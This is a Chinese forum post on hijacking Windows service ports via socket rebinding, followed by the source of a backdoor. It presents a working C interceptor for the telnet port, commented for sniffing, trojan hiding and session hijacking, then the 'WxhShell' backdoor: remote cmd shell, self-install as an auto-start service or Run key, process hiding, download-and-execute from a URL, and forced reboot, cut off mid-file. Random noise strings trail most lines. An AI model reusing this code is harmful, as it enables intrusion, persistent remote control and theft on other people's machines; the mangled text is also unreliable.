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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JnCp'`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]w.:K*_=  
4]jN@@  
  saddr.sin_family = AF_INET; [6Y6{.%~  
+2!J3{[J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zXQ o pQ1  
">]v'h(s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [Q &{#%M  
N"MuAUB:K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pqO}=*v@  
2Q`@lTUv  
  这意味着什么?意味着可以进行如下的攻击: _4iTP$7[  
ZcgSVMqEX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @e#eAJhU  
:SilQm*Pl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ml)~%ZbF  
'awL!P--  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /w0l7N  
O;c;>x_dA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ym+k \h  
m RB-}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @BWroNg{  
0lR/6CB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !>T.*8  
fyIL/7hzf4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xxcv 5.ug  
"/Fp_g6#:  
  #include _V6jn~N  
  #include lj $\2 B  
  #include [OBj2=  
  #include    %m]9";   
  DWORD WINAPI ClientThread(LPVOID lpParam);   } 5i0R  
  int main() y#8| @?  
  { 6>ZUx}vYj  
  WORD wVersionRequested; <d~P;R(@  
  DWORD ret; DytH } U"  
  WSADATA wsaData; ~TC z1UWV  
  BOOL val; S0nBX"$u  
  SOCKADDR_IN saddr; Um 9Gjd  
  SOCKADDR_IN scaddr; rmmN2+H  
  int err; zRPXmu{t  
  SOCKET s; RWtD81(oC'  
  SOCKET sc; k`Nc<nN8  
  int caddsize; l`8S1~j  
  HANDLE mt; 1a4HThDXP  
  DWORD tid;   ?ihkV? ;)  
  wVersionRequested = MAKEWORD( 2, 2 ); 'L)@tkklp  
  err = WSAStartup( wVersionRequested, &wsaData ); %E Jv!u*-  
  if ( err != 0 ) { j(mbUB*  
  printf("error!WSAStartup failed!\n"); `#B|l+baq  
  return -1; $},Y)"mI  
  } "M5P-l$p}  
  saddr.sin_family = AF_INET; MkZm =Sf  
   w!o[pvyR$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;rWgt!l  
A\Rkt;:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CrC1&F\dq  
  saddr.sin_port = htons(23); 8#NtZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YKq,`7"%  
  { r=6-kC!T9  
  printf("error!socket failed!\n"); 62K7afH  
  return -1; TB 9{e!4  
  } ,-^Grmr4M  
  val = TRUE; O_aZ\28};C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kx8\]'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }yZ9pTB.?E  
  { IFNs)*  
  printf("error!setsockopt failed!\n"); "']I.  
  return -1; FI++A`  
  } 7?<.L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BYuF$[3ya&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `oP :F[B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?#"rI6  
L A-H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |f1 S&b.  
  { WGFp<R  
  ret=GetLastError(); {pMbkA Q@  
  printf("error!bind failed!\n"); hI*gw3V  
  return -1; @~% R%Vu  
  } |F z/9+I  
  listen(s,2); fH? e9E4l  
  while(1) 5BnO-[3  
  { ]b!o(5m  
  caddsize = sizeof(scaddr); B}_*0D  
  //接受连接请求 t%Hg8oya  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xayo{l=uGv  
  if(sc!=INVALID_SOCKET) wJM})O%SQ  
  { TUoEk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1o\P7P Le  
  if(mt==NULL) asqbLtQ  
  { ,>lOmyh  
  printf("Thread Creat Failed!\n"); j\& `  
  break; *4#)or  
  } ,.[T]37  
  } $Kgw6  
  CloseHandle(mt); S~L$sqt  
  } rC.z772y%  
  closesocket(s); {/`iZzPg  
  WSACleanup(); Yl%1e|WV  
  return 0; `>&V_^y+  
  }   a;JB8  
  DWORD WINAPI ClientThread(LPVOID lpParam) (A(7?eq  
  { p>Dv&fX  
  SOCKET ss = (SOCKET)lpParam;  gSQq  
  SOCKET sc; 6Mu_9UAl`  
  unsigned char buf[4096]; *YmR7g|k  
  SOCKADDR_IN saddr; sFv68Ag+  
  long num; Z18T<e  
  DWORD val; nNJU@<|{*  
  DWORD ret; ?g gl8bzA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 GlkTpX^b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NrH2U Jm  
  saddr.sin_family = AF_INET; FJo  ?~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _u TaN  
  saddr.sin_port = htons(23); -t~l!! N(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ApHs`0=(  
  { [4 L[.N@  
  printf("error!socket failed!\n"); #DK@&Gv  
  return -1; ^\=<geEj  
  } "8}p>gS  
  val = 100; As0E'n85  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D^ZG-WR  
  { ;8\w$SPP  
  ret = GetLastError(); _b8&$\>  
  return -1; ^R- -&{I  
  } 6'CZfs\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2F9Gx;}t5=  
  { xR;>n[6  
  ret = GetLastError(); D^qto{!  
  return -1; Sy|fX_i  
  } aphfzo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AyHhq8Y  
  { eV:I :::  
  printf("error!socket connect failed!\n"); A|>~/OW=@  
  closesocket(sc); gDbj!(tm  
  closesocket(ss); dsck:e5agZ  
  return -1; pu#h:nb>88  
  } | a001_Wv  
  while(1) 50r3Kl0  
  { vN#?>aL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0#1hkJ"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M)4-eo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~q]@Jp  
  num = recv(ss,buf,4096,0); _9yb5_  
  if(num>0) QOXG:?v\  
  send(sc,buf,num,0); q?} /q  
  else if(num==0) >g7}JI&  
  break; cmG*"  
  num = recv(sc,buf,4096,0); v2=Iqo  
  if(num>0) }j<:hD QP  
  send(ss,buf,num,0); y4sKe:@2  
  else if(num==0) nE.w  
  break; 4WCWu}  
  } dH:z _$Mg  
  closesocket(ss); 7<FI[  
  closesocket(sc); [7x,&  
  return 0 ; #dy z  
  } 4 mj\wBp  
>YG1sMV-J  
KnL-qc  
========================================================== e4:,W+g,9  
ay~c@RXW  
下边附上一个代码,,WXhSHELL @yc/1u $r  
qe. Qjq  
========================================================== t &scvXh  
Fg` P@hC  
#include "stdafx.h" [+ ,%T;d;  
: :;YS9e  
#include <stdio.h> aumWU{j=  
#include <string.h> }%e"A4v  
#include <windows.h> %f[0&)1!.v  
#include <winsock2.h> &1nZ%J9  
#include <winsvc.h> D{'>G@nLQ  
#include <urlmon.h> r~f*aD  
/QuuBtp  
#pragma comment (lib, "Ws2_32.lib") z~Zu >Q1u[  
#pragma comment (lib, "urlmon.lib") NTq#'O) f  
2@7f^be  
#define MAX_USER   100 // 最大客户端连接数 O7<--  
#define BUF_SOCK   200 // sock buffer vG E;PwR  
#define KEY_BUFF   255 // 输入 buffer r 0m A  
?\ Fo|__  
#define REBOOT     0   // 重启 yFt$L'#  
#define SHUTDOWN   1   // 关机 )?_x$GKY  
`D *U@iJ  
#define DEF_PORT   5000 // 监听端口 _(A9k{  
2;8I0BH*'  
#define REG_LEN     16   // 注册表键长度 [l~Gwaul>  
#define SVC_LEN     80   // NT服务名长度 ;MSdTHN"  
7 2Zp%a=  
// 从dll定义API ~>2DA$Ec  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Buxn!s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &Bn> YFu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + t%[$"$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @34Z/%A  
}jL_/gvgy  
// wxhshell配置信息 :A2{  
struct WSCFG { 96a2G,c >V  
  int ws_port;         // 监听端口 (29h{=P'  
  char ws_passstr[REG_LEN]; // 口令 qH 1k  
  int ws_autoins;       // 安装标记, 1=yes 0=no a4a/]q4T  
  char ws_regname[REG_LEN]; // 注册表键名 <]: X  
  char ws_svcname[REG_LEN]; // 服务名 ,[gu7z^|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %IAZU c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k[_)5@2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vI84= n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W~" 'a9H/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gteG*pi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8]G  
U2hPsF4f  
}; #:q$sKQ_$  
whH_<@!  
// default Wxhshell configuration JXT%@w>I  
struct WSCFG wscfg={DEF_PORT, Z}X oWT2f  
    "xuhuanlingzhe", pt/UY<@yoN  
    1, /Kw}R5l  
    "Wxhshell", Kp]\r-5UD>  
    "Wxhshell", Kivr)cIG  
            "WxhShell Service", %#AM }MWIa  
    "Wrsky Windows CmdShell Service", Ai*R%#  
    "Please Input Your Password: ", ^4G%*-   
  1, QaVxP1V#U  
  "http://www.wrsky.com/wxhshell.exe", eT!*_.' e  
  "Wxhshell.exe" DHI%R<  
    }; )Z/L  
 AqqD!  
// 消息定义模块 st7\k]J\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MC'2;,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ejF GeR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NE~R&ym9  
char *msg_ws_ext="\n\rExit."; 0\B31=N(  
char *msg_ws_end="\n\rQuit."; # 1,"^k^  
char *msg_ws_boot="\n\rReboot..."; 0c-.h  
char *msg_ws_poff="\n\rShutdown..."; A'zXbp:%  
char *msg_ws_down="\n\rSave to "; ?'xwr )v  
(u_?#PjX  
char *msg_ws_err="\n\rErr!"; 4+tKg*|  
char *msg_ws_ok="\n\rOK!"; HpXQ D;  
9~rrN60Q  
char ExeFile[MAX_PATH]; ;nSOe AF)Q  
int nUser = 0; . X:  
HANDLE handles[MAX_USER]; *A^`[_y  
int OsIsNt; T'W@fif  
W5)R{w0`GD  
SERVICE_STATUS       serviceStatus; r 9~Wh $  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o[A y2"e?  
"VIoV u  
// 函数声明 $ [t7&e  
int Install(void); _L^(CFE  
int Uninstall(void); _ArN[]Z  
int DownloadFile(char *sURL, SOCKET wsh); x$SxGc~4gb  
int Boot(int flag); <<SUIY@X  
void HideProc(void); vC [uEx:  
int GetOsVer(void);  S6d&w6  
int Wxhshell(SOCKET wsl); qOqU CRUe:  
void TalkWithClient(void *cs); Xn%ty@8  
int CmdShell(SOCKET sock); dvc=<!"'S  
int StartFromService(void); #9/^)^k  
int StartWxhshell(LPSTR lpCmdLine); 7]8nW!h;  
Y3 V9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZFxa2J~;  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  fOUW{s  
[X&VxTxr  
// 数据结构和表定义 =xs"<Q*w>  
SERVICE_TABLE_ENTRY DispatchTable[] = RE<s$B$[  
{ :>q*#vlb  
{wscfg.ws_svcname, NTServiceMain}, /0_^Z2  
{NULL, NULL} cWU9mzsE  
}; *+UgrsRk  
E2nsBP=5C  
// 自我安装 rlpbLOG`  
int Install(void) G u4mP  
{ n OQvBc  
  char svExeFile[MAX_PATH]; m>:zwz< ;  
  HKEY key; SDbR(oV  
  strcpy(svExeFile,ExeFile); Ovhd%qV;Y  
]ZI ?U<0  
// 如果是win9x系统,修改注册表设为自启动 ^o8o  
if(!OsIsNt) { e[($rsx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *NjjFk=R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CG0jZB#u  
  RegCloseKey(key); r7zS4;b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \UEO$~Km  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~lQ<#*wl  
  RegCloseKey(key); tb1w 6jaU  
  return 0; V4CL% i  
    } JVe!(L4H  
  } bd;?oYV~  
} FhFP M)[  
else { DkA@KS1Dq  
,7/F?!G!J  
// 如果是NT以上系统,安装为系统服务 s#* DY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %+bw2;a6  
if (schSCManager!=0) ytyX:e"  
{ P$H9  
  SC_HANDLE schService = CreateService isR)^fI|  
  ( 45(n!"u65  
  schSCManager, +?%L X4Y  
  wscfg.ws_svcname, [h0.k"&[  
  wscfg.ws_svcdisp, Pw|J([  
  SERVICE_ALL_ACCESS, y?-zQs0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .QLjaEja  
  SERVICE_AUTO_START, KmX?W/%R  
  SERVICE_ERROR_NORMAL, xsERnF>`  
  svExeFile, >g+e`!;6  
  NULL, 2 )F~  
  NULL, w7e+~8|  
  NULL, *%aWGAu:  
  NULL, #\T5r*W  
  NULL T\OpPSYbl  
  ); p 02E:?  
  if (schService!=0) tPz!C&.=  
  { :$f9(f&  
  CloseServiceHandle(schService); nsjrzO79L8  
  CloseServiceHandle(schSCManager); 2_C&p6VGj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A>B_~=  
  strcat(svExeFile,wscfg.ws_svcname); \1f&D!F]b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =}1m.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OaF[t*]D3  
  RegCloseKey(key); s;Sv@=\  
  return 0; EHlkt,h*  
    } W&s@2y?rF  
  } LQ{z}Ay  
  CloseServiceHandle(schSCManager); qgkC)  
} ;hZ^zL  
} x*a^msY%  
)2&y;{]  
return 1; 6483v'  
} @3Nvf}He  
f}ES8 Hh[  
// 自我卸载 Y q(CD!  
int Uninstall(void) aTi,gJ;*  
{ 5~H}%W,P  
  HKEY key; 1MYA/l$  
TO]7%aB  
if(!OsIsNt) { 9~|hGo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PCX X[N  
  RegDeleteValue(key,wscfg.ws_regname); \Pt_5.bTs[  
  RegCloseKey(key); Bxf]Lu,\U@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v[!ZRwk4w3  
  RegDeleteValue(key,wscfg.ws_regname); #Nv)SCc  
  RegCloseKey(key); 'FC#O%l  
  return 0; }~+_|  
  } 7T/hmVi_  
} +2Wijrn  
} H^J waF  
else { -;RW)n^n  
%"=qdBuk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?>T (  
if (schSCManager!=0) 17) `CM$<[  
{ P0O=veCf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9^2l<4^Z  
  if (schService!=0) ]MaD7q>+R  
  { .3:s4=(f  
  if(DeleteService(schService)!=0) { sV$Zf `X)  
  CloseServiceHandle(schService); lCxPR'C|  
  CloseServiceHandle(schSCManager); 4VI'd|Ed  
  return 0; *'\ xlsp#  
  } Tq,xW  
  CloseServiceHandle(schService); ",>,t_J  
  } CU_8 `}  
  CloseServiceHandle(schSCManager); up )JU [  
} @3WI7q4  
} pUm|e5  
]]!&>tOlI  
return 1; 9 =zZ,dg  
} 0s o27k  
t(r}jU=qw  
// 从指定url下载文件 k35E,?T  
int DownloadFile(char *sURL, SOCKET wsh) 4Tn97G7  
{ ?7cT$/4  
  HRESULT hr; R|JBzdK+P  
char seps[]= "/"; Ojs ^-R_  
char *token; >A*BRX"4C  
char *file; ?a{es!  
char myURL[MAX_PATH]; 9 6j*F,{  
char myFILE[MAX_PATH]; !UF (R^  
mb#&yK(h  
strcpy(myURL,sURL); Q/y"W,H#  
  token=strtok(myURL,seps); ]v|n'D-?  
  while(token!=NULL) V4tObZP3Ff  
  { AB[#  
    file=token; ^7-l<R[T  
  token=strtok(NULL,seps); @*"H{xo.U  
  } "Wn8}T*  
)I(2t 6i  
GetCurrentDirectory(MAX_PATH,myFILE); &p83X  
strcat(myFILE, "\\"); w[hT,$n  
strcat(myFILE, file); OTV$8{  
  send(wsh,myFILE,strlen(myFILE),0); I*OJPFZ^4  
send(wsh,"...",3,0); QNxY`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  Mcm%G#  
  if(hr==S_OK) W*.6'u)9  
return 0; s%Irh;Bs  
else Lf0Wc'9{  
return 1; E`gUNAKQ  
y*7<tj.`b0  
} qJ%AbdOI8  
?r/)s()ALf  
// 系统电源模块 U%H6jVE  
int Boot(int flag) <)9dTOdd  
{ 3Ued>8Gv  
  HANDLE hToken; YAJr@v+Ls  
  TOKEN_PRIVILEGES tkp; uraT$Q}  
xQ~N1Y2W  
  if(OsIsNt) { 4>}qdR1L4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q&d5V~q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); apw/nhQ.[  
    tkp.PrivilegeCount = 1; |]+PDc%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^J?y mo$>0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [a!*m<  
if(flag==REBOOT) { z!>ml3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rr"D)|Y;C(  
  return 0; *z6m644H  
} 1vUW$)?X  
else { =+"=|cQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K3-Cuku  
  return 0; 8XhGo2zf  
} SU>cJ*  
  } _8ubo\M~  
  else { /& wA$h  
if(flag==REBOOT) { /@feY?glc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &)GlLpaT  
  return 0; P)rz%,VF+  
} _t.Ub:  
else { @8"cT-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .g52p+Z#  
  return 0; ]JvZ{fA%*  
} r0j+P%  
} ' T%70)CM~  
eiwPp9[08  
return 1; ;|AyP  
} B~7]x;8h  
WeE1 \  
// win9x进程隐藏模块 141XnAb)I  
void HideProc(void) st-I7K\v  
{ f\h|Z*Bv  
= @n`5g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1,Ji|&Pwf  
  if ( hKernel != NULL ) ,;~@t:!c  
  { E%vT(Kz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I W5N^J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d6+{^v$#  
    FreeLibrary(hKernel); 5~\GAjf  
  } %W,V~kb  
A`ScAzx5{  
return; uG{/yJeU  
} HrH! 'bd  
#xfPobQ>il  
// 获取操作系统版本 0p[-M`D  
int GetOsVer(void) 4)+L(KyB2  
{ .y^T 3?}I  
  OSVERSIONINFO winfo; 9KDm<Q-mf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;k5B@z/<S  
  GetVersionEx(&winfo); %hV]vm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YJMaIFt  
  return 1; *4?%Y8;bF6  
  else 5%;=(Oig  
  return 0; N5|wBm>m  
} \>p\~[cxt  
@@} ]qT*  
// 客户端句柄模块 f&88N<)  
int Wxhshell(SOCKET wsl) @r9[&  
{ ,pR.HCR#Y  
  SOCKET wsh; QrRnXlE M8  
  struct sockaddr_in client; |eEXCn3{  
  DWORD myID; f/3rcYR;y  
zsmlXyP'e!  
  while(nUser<MAX_USER) 1y7FvD~v  
{ jzAXC^FS  
  int nSize=sizeof(client); M:d} P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =v49[i  
  if(wsh==INVALID_SOCKET) return 1;  MKZq*  
>o|.0aw<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bl/Z _@  
if(handles[nUser]==0) #bmbK{[  
  closesocket(wsh); (Qj;B)  
else k5o{mWI b  
  nUser++; }^]TUe@a  
  } pfF2!`7pI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !G~`5?CvE  
hd~0qK  
  return 0; bguTWI8bk  
} f/UIpswrZ'  
prO ~g  
// 关闭 socket QM4O|x[   
void CloseIt(SOCKET wsh) Bf8[(oc~  
{ )POU58$  
closesocket(wsh); Uo=_=.GQ  
nUser--; /nzJ`d  
ExitThread(0); )UN_,'H/V  
} $3yn-'o'A  
pz,iQUs _o  
// 客户端请求句柄 d0}P  
void TalkWithClient(void *cs) T/iZ"\(~w  
{ KSxZ4Y  
jWcfQ  
  SOCKET wsh=(SOCKET)cs; Z^6qxZJ7  
  char pwd[SVC_LEN]; 33OkY C%e  
  char cmd[KEY_BUFF]; (65|QA   
char chr[1]; JlhI3`X;/  
int i,j; uh&Qdy!I  
6h{>U*N"&d  
  while (nUser < MAX_USER) { gX;)A|9e  
8&c:73=?X  
if(wscfg.ws_passstr) { buA/G-<e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IyoitIbLl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u -A_l<K  
  //ZeroMemory(pwd,KEY_BUFF); ]oizBa@?G  
      i=0; 3B?7h/f  
  while(i<SVC_LEN) { P`OZoI$bV  
7[It  
  // 设置超时 bEli!N$  
  fd_set FdRead; ewVks>lbz  
  struct timeval TimeOut; kWbD?i-  
  FD_ZERO(&FdRead); )W |_f  
  FD_SET(wsh,&FdRead); _FP'SVa}D  
  TimeOut.tv_sec=8; Hl=M{)q@   
  TimeOut.tv_usec=0; p61F@=EL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @f`s%o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iG+=whvL  
ChRCsu~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O ~D]C  
  pwd=chr[0]; grTwo  
  if(chr[0]==0xd || chr[0]==0xa) { y@9ifFr  
  pwd=0; g4}K6)@  
  break; Nc:0opPM  
  } n |Q' >  
  i++; g [c ^7  
    } {"mb)zr  
>N-l2?rE  
  // 如果是非法用户,关闭 socket b/obHB+:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DMiB \o  
} 'DTq<`~?  
`Tc"a_p9t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h]DzX8r}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -~ H?R  
{C5-M!D{<  
while(1) { ]BaK8mPl  
|SuN3B4e  
  ZeroMemory(cmd,KEY_BUFF); l09SWug  
<~n%=^knE  
      // 自动支持客户端 telnet标准   T~)R,OA7m  
  j=0; `@^s}rt+  
  while(j<KEY_BUFF) { k FCdGl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yQE9S+%M  
  cmd[j]=chr[0]; \ k &ZA  
  if(chr[0]==0xa || chr[0]==0xd) { e,Sxu[2  
  cmd[j]=0; l^R1XBP  
  break; Mu/hTTiNx  
  } ]. 0;;v6)  
  j++; hFMT@Gy  
    } J Mm'JK?  
Ah_0o_Di  
  // 下载文件 C~R,,  
  if(strstr(cmd,"http://")) { lN'b"N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HleMzykF  
  if(DownloadFile(cmd,wsh)) Ti&v9re%wO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S3gd'Bahq  
  else _bSn YhS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nHl{'|~  
  } |[X-i["y  
  else { X1o=rT  
*}=z^;_oq  
    switch(cmd[0]) { >j)y7DSE  
  Mi047-% (  
  // 帮助 z?  Ck9  
  case '?': { 7',WLuD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . H9a  
    break; b}J,&eYD  
  } 4%5 +  
  // 安装 E(Zm6~  
  case 'i': { zXML<?w  
    if(Install()) Ir6g"kwCKq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8K2=WYN  
    else +Sak_*fq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &;[e  
    break; PGhYkj2  
    } lS/l iI'Y  
  // 卸载 b=XHE1^rM  
  case 'r': { f{)nxd >#  
    if(Uninstall()) YcN&\(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}cCnJK  
    else  _:HQ4s@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6xoCB/]  
    break; }NKnV3G/Z  
    } S^A+Km3VB  
  // 显示 wxhshell 所在路径 0ni/!}YP_  
  case 'p': { p{[(4}ql  
    char svExeFile[MAX_PATH]; tgC)vZ&a  
    strcpy(svExeFile,"\n\r"); 9{8xMM-  
      strcat(svExeFile,ExeFile); h@fF`  
        send(wsh,svExeFile,strlen(svExeFile),0); AtNF&=Op  
    break; <ToRPx&E  
    } ;&$f~P Q  
  // 重启 3`Gb ;D  
  case 'b': { gbziEjRe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); > *soc!#Y  
    if(Boot(REBOOT)) [Nu py,v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJY3 1(p  
    else { l`."rei%)  
    closesocket(wsh); a([8r- zP  
    ExitThread(0); B!((N{4H+  
    } "mc ]^ O  
    break;  }A&I@2d  
    } 9*2^2GR^;  
  // 关机 @k)[p+)E  
  case 'd': { YR u#JYti  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]|_+lik#  
    if(Boot(SHUTDOWN)) 0A')zKik  
